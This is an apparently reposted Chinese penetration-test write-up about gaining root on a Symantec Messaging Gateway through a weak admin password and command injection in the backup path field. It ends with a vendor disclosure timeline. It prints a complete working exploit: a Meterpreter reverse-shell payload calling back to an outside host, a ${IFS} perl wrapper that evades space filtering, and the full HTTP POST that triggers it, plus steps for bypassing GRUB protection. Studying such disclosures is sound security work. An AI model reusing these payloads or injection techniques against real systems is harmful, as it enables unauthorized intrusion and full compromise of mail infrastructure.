看我如何在赛门铁克邮件安全网关上实现弱口令到RCE漏洞执行

内容简介：看我如何在赛门铁克邮件安全网关上实现弱口令到RCE漏洞执行

在这篇文章中，我将向大家分享我们团队最近在对某企业真实渗透测试的一个项目，在该项目中我们发现了赛门铁克电子邮件安全网关（Symantec Messaging Gateway）的一个0day漏洞，利用该漏洞，最终实现了对操作系统的远程命令执行，成功渗透进入目标客户网络。我们从头说起。

前期：枚举大法

在对目标系统的前期信息收集过程中，枚举是一种重要方法！我执行了DNS枚举、Google hacking和目标IP范围NMAP扫描，另外我还在公开的数据泄露源和我们内部的密码数据库中，对目标企业的相关邮箱进行比对查找。服了，最终还真发现了2个不同的用户凭证HASH，其中1个凭证HASH居然还是我们内部密码库于两个月前记录入库的。

在对NMAP扫描结果进行分析后，我发现赛门铁克邮件安全网关（Symantec Messaging Gateway）的管理接口是公开可访问的，之后，我尝试在网上寻找该网关设备的默认用户名密码，通过查看赛门铁克公开的安装说明发现，该网关设备的默认用户名是admin，而密码则由用户在安装时自设。

好了，现在的问题就是：找到用户名admin的密码！最快的思路也无非以下两种：

HASH暴力破解：可以尝试对之前发现的用户凭证HASH进行暴力破解，之后，用其对应的密码登录OWA的Exchange的邮件服务，在其个人邮件中挖挖找找涉及该网关设备可能的密码信息；

弱口令暴力破解：用那些你可以想像到的弱口令，尝试在赛门铁克电子邮件安全网关管理接口进行登录，如admin、123456等等。

哎呀，还真别说，运气爆表了，弱口令这招竟然奏效了，admin的密码是Passw0rd！虽然域控制密码策略要求字母和数字的组合策略，但粗心的IT管理员却这样犯错了。

这算是几个月来我们的”幸运时刻“之一，我们设法获得了目标系统邮件安全网关的访问控制权，但对于整个目标网络系统来说，这种单点突破远远不够。面对这唯一可以利用的突破口，我们希望实现更进一步的渗透。奇妙之旅开始了，老司机要开车了！

假设

在对赛门铁克电子邮件安全网关进行漏洞挖掘之前，可以非常清楚地列出以下几种条件：

程序通过ISO/OVA形式提供下载；

老牌安全厂商产品，或许很难发现重要漏洞？（结果证实并非如此）

固若金汤；

具备复杂的应用程序架构。

不管了，先下载个30天试用版本来把玩把玩再说！

拆解赛门铁克邮件安全网关

在安装了赛门铁克邮件安全网关之后，我发现其产品中存在两方面的安全措施：

受限Shell：可以利用其它电脑通过SSH接入网关设备，但存在接入 shell 的功能限制，并且只对外开放了80和443端口；

设置了GRUB密码保护。

源代码分析

由于受限Shell功能的存在，我无法通过SSH访问源代码接口，虽然有其它方法可以破解这种限制，但所需时间太长，所以我临时决定使用以下方法：

1、用CentOS镜像启动虚拟机（赛门铁克邮件安全网关被部署到虚拟机中）；

2、在CentOS镜像中选择救援修复模式 (rescue installed system)启动；

3、等待引导过程结束；

4、打开 /mnt/sysimage/boot/grub.conf 文件，删除GRUB密码保护一行；

5、使用虚拟机选项卸载镜像文件；

6、重启电脑。

以下为GRUB密码保护行：

看我如何在赛门铁克邮件安全网关上实现弱口令到RCE漏洞执行

现在，由于缺少了GRUB密码保护，我就可以以单用户模式，利用自定义参数启动系统。

以root身份进入

在GRUB菜单模式下，我以单用户root shell权限进入系统，并且不启动其它任何服务，希望籍此以管理员身份关闭受限Shell功能，但经过一番研究后，我决定使用其它更快的方法。我更改了sshd_config配置文件，让root用户有重新设置密码的权限。之后，重新启动系统。

探测所有服务&收集信息

以root方式SSH进入系统之后，我们就可以从内部对该产品的系统服务、端口信息以及源代码情况一探究竟了。首先，来执行一个NMAP扫描，结果如下：

➜  ~ sudo nmap -sS -sV -p - --open 12.0.0.199 -Pn -n

PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 5.3 (protocol 2.0)
25/tcp    open  smtp        Symantec Messaging Gateway smtpd
443/tcp   open  ssl/http    Apache Tomcat/Coyote JSP engine 1.1
8443/tcp  open  ssl/http    Apache Tomcat/Coyote JSP engine 1.1
41002/tcp open  ssl/unknown
41015/tcp open  smtp        Symantec Messaging Gateway smtpd
41016/tcp open  smtp        Symantec Messaging Gateway smtpd
41017/tcp open  smtp        Symantec Messaging Gateway smtpd
41025/tcp open  smtp
41443/tcp open  ssl/http    Apache Tomcat/Coyote JSP engine 1.1

端口443、8443和41443：管理接口服务；

端口41015 – 41025：该产品专为电子邮件分析而设计的正常服务端口；

端口41002：这是什么鬼端口？

41002端口让我陷入怀疑，有必要进一步验证一下该端口对应的服务目的。通过netstat命令检索端口监听进程，发现了2560进程，之后又发现了bmagent驻留进程和agentconfig.xml文件。过程如下：

[root@hacker ~]# netstat -tnlp |grep 41002
tcp        0      0 0.0.0.0:41002               0.0.0.0:*                   LISTEN      2560/bmagent
[root@hacker ~]# 
[root@hacker ~]# ps aux|grep 2560
mailwall   2560  0.0  0.3 550428 12816 ?        Sl   12:35   0:00 /opt/Symantec/Brightmail/scanner/sbin/bmagent -c /data/scanner/etc/agentconfig.xml
[root@hacker ~]# 
[root@hacker ~]# file /opt/Symantec/Brightmail/scanner/sbin/bmagent 
/opt/Symantec/Brightmail/scanner/sbin/bmagent: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped

以下是agentconfig.xml内容，尽管它在所有接口上都运行了该对应的服务，但我们只能通过白名单地址对它进行访问。这里先暂且打住，我们来看看源代码。

[root@hacker ~]# cat /data/scanner/etc/agentconfig.xml
<?xml version="1.0"?>
<!-- Default agent configuration file for brightmail -->
<!-- InstallAnywhere Macros inserted -->
<installation xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="6.0.0.0">
    <configdir>/data/scanner/etc</configdir>
    <mtalogfile>/data/logs/maillog</mtalogfile>
    <packages>
        <package name="agentPackage" installed="true" enabled="true"/>
    </packages>
    <programs>
        <program xsi:type="agentType" name="agent">
            <log level="4" period="1" periodUnits="DAY" numberRetained="30">/data/logs/scanner/agent_log</log>
            <networkAddress host="*" port="41002"/>
            <allowedIPs><allowedIP>127.0.0.1</allowedIP>
<allowedIP>12.0.0.199</allowedIP>
<allowedIP>1.1.1.1</allowedIP>
<allowedIP>1.1.1.2</allowedIP>
<allowedIP>1.1.1.3</allowedIP></allowedIPs>
            <ssl certFile="/data/scanner/etc/agent.cert" keyFile="/data/scanner/etc/agent.key"/>
        </program>
    </programs>
</installation>

定位源代码文件

我用以上类似方法找到了源码的存放位置。以下输出显示了其web服务和服务启动执行命令对应的进程ID：

[root@hacker ~]# netstat -tnlp |grep 443
tcp        0      0 :::41443                    :::*                        LISTEN      2632/jsvc.exec      
tcp        0      0 :::8443                     :::*                        LISTEN      2632/jsvc.exec      
tcp        0      0 :::443                      :::*                        LISTEN      2632/jsvc.exec      
[root@hacker ~]# 
[root@hacker ~]# ps aux|grep 2632
bcc        2632  2.1 13.8 3482224 541216 ?      Sl   12:35   0:44 jsvc.exec -user bcc -home /usr/java/latest -wait 1200 -pidfile /var/run/jsvc.pid -outfile /data/logs/bcc/catalina.out -errfile &1 -Xmx800M -XX:MaxPermSize=128m -Djvm=bcc -Djava.awt.headless=true -Djava.util.logging.config.file=/data/bcc/conf/logging.properties -Dorg.apache.jasper.compiler.Parser.STRICT_QUOTE_ESCAPING=false -Dorg.apache.el.parser.SKIP_IDENTIFIER_CHECK=true -Dcatalina.base=/data/bcc -Dcatalina.home=/usr/share/apache-tomcat-7.0.62 -Djava.io.tmpdir=/data/bcc/temp -cp /usr/share/java/commons-daemon.jar:/usr/share/apache-tomcat-7.0.62/bin/bootstrap.jar:/usr/share/apache-tomcat-7.0.62/bin/tomcat-juli.jar org.apache.catalina.startup.Bootstrap
root       8106  0.0  0.0 103312   856 pts/0    S+   13:10   0:00 grep 2632
[root@hacker ~]#

从上可以看出一个名为bcc的文件目录，而所有应用管理接口的源码就存储在 /data/bcc 文件夹内，之后，我用SCP命令把该文件夹内所有文件打包并转移出系统。

继续探寻未知服务

OK，我们获得了源码，那么自然想知道之前提及的41002端口对应的服务用途是什么。此时，面对 JAVA 源码，我最喜欢的java反编译器 jd-gui 派上用场了。

既然该端口对应服务只能通过白名单才能发起访问，那么，本机应该也在此范围之内，而且对一般实例和服务来说，127.0.0.1应该也属白名单之列。经过一番查找分析，我发现在 backupNow 函数下存在着一些与41002端口相关的代码，如下：

try
    {
      if (this.log.isInfoEnabled()) {
        this.log.info(this.rb.getLocalizedMessage("information.agent.script.databaseBackup.start"));
      }
      String scriptName = NameHelper.getDbBackup();
      AgentResultTO result = ScriptHelper.executeScript("127.0.0.1", 41002, scriptName, 
        ScriptParamFactory.createAgentParam(params), 2, AgentSettingsDAO.TimeoutLength.Infinite);
      if (this.log.isInfoEnabled()) {
        this.log.info(this.rb.getLocalizedMessage("information.agent.script.databaseBackup.end"));
      }
      if (result.isError())
      {
        String message = ScriptHelper.decodeMessage(result);
        ScriptHelper.logError("error.agent.script.databaseBackup", message);
        ScriptHelper.generateError("error.agent.script.databaseBackup", message);
      }
    }
    catch (BrightmailException e)
    {
      ScriptHelper.generateError("error.agent.script.databaseBackup", e.getMessage());
    }

从以上代码可知，应用程序在运行过程中，向该服务发送了一个脚本名称和参数，该脚本名称为一个可执行脚本文件，而 scriptName 参数则调用了 getDbBackup 函数：

public static String getDbBackup()
{
  if (dbBackup == null)
  {
    StringBuilder builder = new StringBuilder(25);
    builder.append("$SCRIPTSDIR$$/$");
    builder.append("db-backup");
    dbBackup = builder.toString();
  }
  return dbBackup;
}

COOL！请认真观察以上代码，现在我们知道哪个脚本文件是被该服务执行了，来找找看：

[root@hacker bcc]# find /opt/ -type f|grep 'db-backup'
/opt/Symantec/Brightmail/cli/bin/db-backup
/opt/Symantec/Brightmail/cli/sbin/db-backup
/opt/Symantec/Brightmail/cli/man/man1/db-backup.1
[root@hacker bcc]# 
[root@hacker bcc]# cat /opt/Symantec/Brightmail/cli/bin/db-backup
#!/bin/sh

. /data/scanner/etc/brightmail-env

/usr/bin/sudo /opt/Symantec/Brightmail/cli/sbin/db-backup "$@"

真是越来越有意思了！当该服务启动后，它将会执行db-backup脚本，该脚本正常情况下是通过sudo命令执行的。到此，我们可以尝试分析到底是哪个web前端服务执行调用了这些流程。在strust.xml文件中，我们发现了具体调用相关方法和类的URL：

<action path="/backup/add" forward="/backup/action2.do?method=add"/>
<action path="/backup/edit" forward="/backup/action2.do?method=edit"/>
<action path="/backup/backupNow" forward="/backup/action2.do?method=showBackupNow"/>
<action path="/backup/action2"
        type="com.symantec.smg.controlcenter.disasterrecovery.backup.BackupAction"
        name="backupForm"
        scope="request"
        parameter="method"
        validate="false"
        input="/admin_backup_restore.jsp">
  <forward name="success" path="/admin_backup_edit.jsp"/>
</action>

综上所述，这意味着，以下前端链接对应着该服务的执行调用：

/brightmail/admin/backup/backupNow.do

让我们在web界面中看看它到底长啥样：

看我如何在赛门铁克邮件安全网关上实现弱口令到RCE漏洞执行

OH，这是Symantec邮件网关的 备份服务 ！在该服务下，可以利用FTP或SCP方式把备份文件存储到另一台远程服务器中（该环境中，另一台远程存储服务器为12.0.0.15）。可能由于这种备份方式颇花费时间，所以在产品设计时就被放到了后台进行，前面提及的41002端口正是该服务的对应运行端口。好吧，现在，我们来看看12.0.0.15执行了些什么具体进程：

[root@hacker bcc]# ps aux|grep 12.0.0.15
mailwall  11296  0.0  0.0 108204  1308 ?        S    13:37   0:00 /bin/sh /opt/Symantec/Brightmail/common/sbin/db-backup -f SCP://root:toor@12.0.0.15/tmp -t 1 -s manual
root      11297  0.0  0.0 175096  2672 ?        S    13:37   0:00 /usr/bin/sudo /opt/Symantec/Brightmail/cli/sbin/db-backup -f SCP://root:toor@12.0.0.15/tmp -t 1 -s manual
root      11298  5.0  0.5 173584 23132 ?        S    13:37   0:00 /usr/bin/perl -w /opt/Symantec/Brightmail/cli/sbin/db-backup -f SCP://root:toor@12.0.0.15/tmp -t 1 -s manual
root      11303  0.0  0.0  57244  2400 pts/2    Ss+  13:37   0:00 /usr/bin/scp -P 22 -q /data/tmp/db-backup.10.6.2-7.brightmail.Apr-26-17-13-37.tar root@12.0.0.15:/tmp.full.manual.tar.bz2
root      11304  0.0  0.0  59700  2952 pts/2    S+   13:37   0:00 /usr/bin/ssh -x -oForwardAgent no -oPermitLocalCommand no -oClearAllForwardings yes -p22 -q -lroot 12.0.0.15 scp -t /tmp.full.manual.tar.bz2
root      11307  0.0  0.0 103308   872 pts/0    S+   13:37   0:00 grep 12.0.0.15
[root@hacker bcc]#

天了噜，综合这些进程和前面的端口监听结果可以发现，前面的web前端正通过参数设置方法利用bmagent服务，执行SSH文件转移。而在此SSH的应用过程中，可能会存在命令注入漏洞。

我们来找找看其输入验证参数，我敢确定在数据被转移到bmagent服务之前，在其web端一定存在着某种输入验证。

寻找脆弱性验证参数

以下为源码中的输入验证实现部分：

if (storeRemoteBackup)
    {
      if (EmptyValidator.getInstance().isValid(remoteBackupAddress))
      {
        exceptionMsgKeys.add("error.backup.host.ip.required");
        focusElement = "remoteBackupAddress";
      }
      else if ((!DomainValidator.getInstance().isValid(remoteBackupAddress)) && 
        (!RoutableIpValidator.getInstance().isValid(remoteBackupAddress)))
      {
        exceptionMsgKeys.add("error.backup.host.ip.invalid");
        focusElement = "remoteBackupAddress";
      }
      if (EmptyValidator.getInstance().isValid(port))
      {
        exceptionMsgKeys.add("error.backup.host.port.empty");
        focusElement = "remoteBackupPort";
      }
      else if (!TcpUdpPortValidator.getInstance().isValid(port))
      {
        exceptionMsgKeys.add("error.backup.host.port.invalid");
        focusElement = "remoteBackupPort";
      }
      String path = backupForm.get("remoteBackupPath").toString();
      if (EmptyValidator.getInstance().isValid(path))
      {
        exceptionMsgKeys.add("error.backup.path.empty");
        focusElement = "remoteBackupPath";
      }
      else
      {
        UsAsciiValidator v = UsAsciiValidator.getInstance();
        if (!v.isValid(path))
        {
          exceptionMsgKeys.add("error.backup.path.only.ascii.allowed");
          focusElement = "remoteBackupPath";
        }
      }
    }

该验证主要具备以下几方面要求：

remoteBackupAddress值不能为空；

remoteBackupAddress必须为远程IP地址；

端口信息不能为空；

端口必须为有效TCP/UDP端口；

路径不能为空；

路径值最终必须为ASCII。

仔细一想，在路径参数值中存在明显的命令注入漏洞。

漏洞利用路线

1、使用用户名密码登入web前端；

2、浏览/brightmail/admin/backup/backupNow.do界面；

3、选择“Store backup on a remote location”（将备份文件存储到远程服务器中）；

4、选择SCP作为文件传输协议；

5、填写SSH服务能有效发现的相应远程IP地址、端口和存储目录信息（可以使用你本机KALI的ssh，存储目录这里为tmp）；

6、开启““Requires authentication”（身份认证）选项；

7、填写有效的SSH用户名密码验证信息；

8、把Payload置于tmp请求参数之后，使用 $() 或 “ 方式执行命令注入。

在Payload测试中，使用空格（SPACE）可能会导致脚本执行失败，于是，我采用了 $IFS 方式（内部域分隔符）来代替空格。

POC

由于我喜欢用meterpreter，所以在此首先利用msfvenom生成了 python 版本的Payload：

msfvenom -p python/meterpreter/reverse_tcp LHOST=12.0.0.1 LPORT=8081 -f raw

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxMi4wLjAuMScsODA4MSkpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))

由于需要在python -c “PAYLOAD”命令中使payload能有效通过，而使用空格又可能发生异常，所以，在使用$IFS方式之后的样式为python${IFS}-v${IFS}”PAYLOAD”。但是还存在一个问题，python语言的Payload中，在初始定义头的import和base64之间还有一个空格，而且${IFS}只对 linux 有效，不能被python识别！

该使用点奇技淫巧了！我可以使用 perl 语言的Payload啊！因为在我之前的渗透测试中，发现可以利用perl来创建无空格的Payload。所以，就这样暗度陈仓地用perl语言Payload来实现了我们夹杂其中的python方式Payload。如下：

cmd = "python -c \"#{payload.encoded}\""
final_payload = cmd.to_s.unpack("H*").first

p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"

最终的Payload如下：

perl${IFS}-e${IFS}'system(pack(qq,H732,,qq,707974686f6e202d632022696d706f7274206261736536342c7379733b65786563286261736536342e6236346465636f6465287b323a7374722c333a6c616d62646120623a627974657328622c275554462d3827297d5b7379732e76657273696f6e5f696e666f5b305d5d28276157317762334a3049484e765932746c6443787a64484a315933514b637a317a62324e725a5851756332396a613256304b4449736332396a613256304c6c4e5051307466553152535255464e4b51707a4c6d4e76626d356c5933516f4b4363784d6934774c6a41754d5363734e4451304e436b70436d77396333527964574e304c6e56756347466a6179676e506b6b6e4c484d75636d566a646967304b536c624d46304b5a44317a4c6e4a6c5933596f62436b4b6432687062475567624756754b4751705047773643676c6b4b7a317a4c6e4a6c5933596f624331735a57346f5a436b70436d56345a574d6f5a4378374a334d6e4f6e4e394b516f3d2729292922,))')

在该Payload中包含了一个python meterpreter payload，我们尝试来获取系统shell看看，通过以下HTTP POST触发漏洞：

POST /brightmail/admin/backup/performBackupNow.do HTTP/1.1
Host: 12.0.0.199:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 1188
Referer: https://12.0.0.199:8443/brightmail/admin/backup/backupNow.do
Cookie: JSESSIONID=67376D92B987724ED2309C86990690E3; userLanguageCode=en; userCountryCode=US; navState=expanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded%2Cexpanded; JSESSIONID=0360B579A58BBBB8D74FEE4767BCAC10
Connection: close
Upgrade-Insecure-Requests: 1

pageReuseFor=backup_now&id=&symantec.brightmail.key.TOKEN=48f39f735f15fcaccd0aacc40b27a67bf76f2bb1&backupData=full&customType=configuration&includeIncidentMessages=true&includeReportData=true&includeLogData=true&backupTo=2&remoteBackupProtocol=SCP&remoteBackupAddress=127.0.0.1&remoteBackupPort=22&remoteBackupPath=tmp$(perl${IFS}-e${IFS}'system(pack(qq,H732,,qq,707974686f6e202d632022696d706f7274206261736536342c7379733b65786563286261736536342e6236346465636f6465287b323a7374722c333a6c616d62646120623a627974657328622c275554462d3827297d5b7379732e76657273696f6e5f696e666f5b305d5d28276157317762334a3049484e765932746c6443787a64484a315933514b637a317a62324e725a5851756332396a613256304b4449736332396a613256304c6c4e5051307466553152535255464e4b51707a4c6d4e76626d356c5933516f4b4363784d6934774c6a41754d5363734e4451304e436b70436d77396333527964574e304c6e56756347466a6179676e506b6b6e4c484d75636d566a646967304b536c624d46304b5a44317a4c6e4a6c5933596f62436b4b6432687062475567624756754b4751705047773643676c6b4b7a317a4c6e4a6c5933596f624331735a57346f5a436b70436d56345a574d6f5a4378374a334d6e4f6e4e394b516f3d2729292922,))')&requiresRemoteAuthentication=true&remoteBackupUsername=root&remoteBackupPassword=qwe123

然后，利用msf创建监听，并最终成功获得了对目标系统的反弹控制权：

msf exploit(handler) > run

[*] Started reverse TCP handler on 12.0.0.1:4444 
[*] Starting the payload handler...
[*] Sending stage (39842 bytes) to 12.0.0.199
[*] Meterpreter session 2 opened (12.0.0.1:4444 -> 12.0.0.199:54077) at 2017-04-30 17:03:26 +0300

meterpreter > shell
Process 15849 created.
Channel 1 created.
sh: no job control in this shell
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1#

在后续阶段，我们将使用一些post exploitation方式继续对目标系统进行渗透验证，由于包含客户具体信息，就不在此赘述。可以点此查看其它详细的metasploit执行信息。

Metasploit 执行视频

https://v.qq.com/x/page/z0514xw4bn1.html

漏洞报送时间表

2017年4月24日 – 漏洞发现；

2017年4月24日 – 与公司内部客户成员共享所有漏洞细节和短期的内部缓解措施；

2017年4月27日 – 与Symantec进行漏洞初报；

2017年5月2日 – Symantec 产品团队确认漏洞有效；

2017年5月25日 – 我们咨询漏洞修复状态；.

2017年5月25日 – Symantec回复称他们正在开发补丁，计划于6月发布，届时将及时告知我们；

2017年6月8日 – 我们的客户告知我们Symantec已经在网上发布了该产品的修复补丁；

2017年6月10日 – 漏洞公开。

*参考来源： pentestlab ，freebuf小编clouds编译，转载请注明来自FreeBuf.COM

以上所述就是小编给大家介绍的《看我如何在赛门铁克邮件安全网关上实现弱口令到RCE漏洞执行》，希望对大家有所帮助，如果大家有任何疑问请给我留言，小编会及时回复大家的。在此也非常感谢大家对码农网的支持！

查看所有标签

猜你喜欢:

本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。

码农书籍

Computer Age Statistical Inference

Bradley Efron、Trevor Hastie / Cambridge University Press / 2016-7-21 / USD 74.99

The twenty-first century has seen a breathtaking expansion of statistical methodology, both in scope and in influence. 'Big data', 'data science', and 'machine learning' have become familiar terms in ......一起来看看《Computer Age Statistical Inference》这本书的介绍吧!

码农工具

看我如何在赛门铁克邮件安全网关上实现弱口令到RCE漏洞执行

前期：枚举大法

假设

拆解赛门铁克邮件安全网关

源代码分析

以root身份进入

探测所有服务&收集信息

定位源代码文件

继续探寻未知服务

寻找脆弱性验证参数

漏洞利用路线

POC

Metasploit 执行视频

漏洞报送时间表

Computer Age Statistical Inference

HTML 编码/解码

URL 编码/解码

正则表达式在线测试